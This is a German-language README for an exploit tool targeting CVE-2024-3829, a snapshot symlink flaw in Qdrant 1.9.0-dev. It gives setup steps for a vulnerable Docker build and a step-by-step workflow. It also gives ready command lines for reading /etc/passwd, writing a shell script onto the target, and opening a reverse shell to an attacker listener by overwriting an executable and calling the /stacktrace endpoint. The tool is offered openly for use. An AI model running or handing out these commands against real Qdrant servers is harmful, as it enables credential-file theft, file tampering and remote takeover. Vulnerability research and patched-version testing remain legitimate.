CVE-2024-3829 für Qdrant - Exploit

 ########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################  
 _______  __   __  _______         _______  _______  _______  _   ___         _______   _____   _______  _______   
|       ||  | |  ||       |       |       ||  _    ||       || | |   |       |       | |  _  | |       ||  _    |  
|       ||  |_|  ||    ___| ____  |____   || | |   ||____   || |_|   | ____  |___    | | |_| | |____   || | |   |  
|       ||       ||   |___ |____|  ____|  || | |   | ____|  ||       ||____|  ___|   ||   _   | ____|  || |_|   |  
|      _||       ||    ___|       | ______|| |_|   || ______||___    |       |___    ||  | |  || ______||___    |  
|     |_  |     | |   |___        | |_____ |       || |_____     |   |        ___|   ||  |_|  || |_____     |   |  
|_______|  |___|  |_______|       |_______||_______||_______|    |___|       |_______||_______||_______|    |___|  
  
 ############################################### by fabse-hack.de ###############################################  

Dieses Repository dokumentiert und demonstriert CVE-2024-3829 für qdrant/qdrant (v1.9.0-dev)

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-3829
• Weitere Informationen und Idee für dieses Repository:
• Huntr: https://huntr.com/bounties/abd9c906-75ee-4d84-b76d-ce1386401e08
• incibe: https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2024-3584
• GitHub: https://github.com/qdrant/qdrant/commit/15479a45ffa3b955485ae516696f7e933a8cce8a

Unterstützung & Spenden

Paypal:

Buy Me a Coffee:

Übersicht

Die Schwachstelle ermöglicht die Manipulation von Snapshot-Archiven durch Symlink-/Pfad-Tricks. Dies ermöglicht zwei Auswirkungsklassen und eine Reverse Shell hahhaa:

1. Datei lesen
2. Datei schreiben
3. Reverse Shell ausführen

Abhängig von der Umgebung können Dateischreib-Primitiven zu Codeausführung eskalieren.

Betroffene Software (siehe NVD-Link)

• Produkt: Qdrant
• Version: 1.9.0-dev
• Komponente: Snapshot Import/Export

Hinweis zur Versionsnummer:

Diese Version ist nicht mehr im World Wide Web verfügbar (manche nennen es „Internet“).
Im Repository von qdrant verweist der NVD Nist-Bericht auf den Commit, der die anfällige v1.9.0-dev ist.
Wenn Sie diese Version für CTF / andere Zwecke auf einem Docker installieren möchten, verwenden Sie:

git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln

Arbeitsablauf (vereinfacht)

1. Eine Sammlung erstellen
2. Einen Snapshot erstellen
3. Snapshot lokal entpacken und modifizieren
4. Einen Symlink in das Archiv einfügen Lese-/Schreibziel
5. Den modifizierten Snapshot hochladen
6. Snapshot-Wiederherstellung auslösen
7. Ergebnis auswerten Dateiinhalt lesen / Datei schreiben / Reverse Shell ausführen

Repository-Inhalt

• cve_2024_3829.py - Exploit für Lese-/Schreib-/Auslöse-Arbeitsablauf
• requirements.txt - Python-Abhängigkeiten

Voraussetzungen

• Kali Linux System empfohlen
• Python 3.10+
• Laufender Qdrant-Server für lokale Tests
• Python-Paket requests

Installation:

python3 -m pip install -r requirements.txt

Verwendung

Alle Optionen anzeigen:

python3 cve_2024_3829.py -h

Beispiele:

# Read mode
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd

# Write mode
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh

# Reverse shell mode
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>

Verfügbare Parameter

• -h, --help: CLI-Hilfe anzeigen
• -m, --mode: einer von read, write, reverse_shell (erforderlich)
  Zielparameter:
• -tu, --target_url: Qdrant-Basis-URL (Standard im Skript)
• -tp, --target_port: Ziel-Qdrant-Port (Standard: 6333)
• -tpath, --target_path: entfernter Zielpfad (Standard: /etc/)

Hinweise

• --target_url sollte die Basis-URL ohne nachgestellten Port sein, wenn Sie --target_port separat übergeben, da das Skript URLs als <url>:<target_port>/... erstellt.
• Im read-Modus kombiniert das Skript --target_path und --target_file_name (z.B. /etc/ + passwd).
• Im write-Modus sollte --attacker_path auf eine vorhandene lokale Datei verweisen und --attacker_file_name definiert den entfernten Dateinamen.
• Überprüfen Sie bei Netzwerktests über Docker/WSL/Host-Grenzen hinweg zuerst die Erreichbarkeit (z.B. mit netcat), bevor Sie den Auslösemodus ausführen.

sequenceDiagram
    participant Attacker
    participant Exploit
    participant Target
    participant Listener

    Attacker->>Exploit: Start exploit script
    Exploit->>Listener: Start TCP listener
    Exploit->>Target: Create malicious collection
    Exploit->>Target: Upload trigger script
    Exploit->>Target: Overwrite executable
    Exploit->>Target: Call /stacktrace endpoint
    Target->>Listener: Reverse shell connection
    Listener->>Attacker: Interactive shell access

flowchart TD
    Start[Start Listener]
    Bind[Bind to attacker port]
    Listen[Wait for connection]
    Accept[Accept incoming connection]
    Interactive[Interactive shell session]
    End[Connection closed]

    Start --> Bind
    Bind --> Listen
    Listen --> Accept
    Accept --> Interactive
    Interactive --> End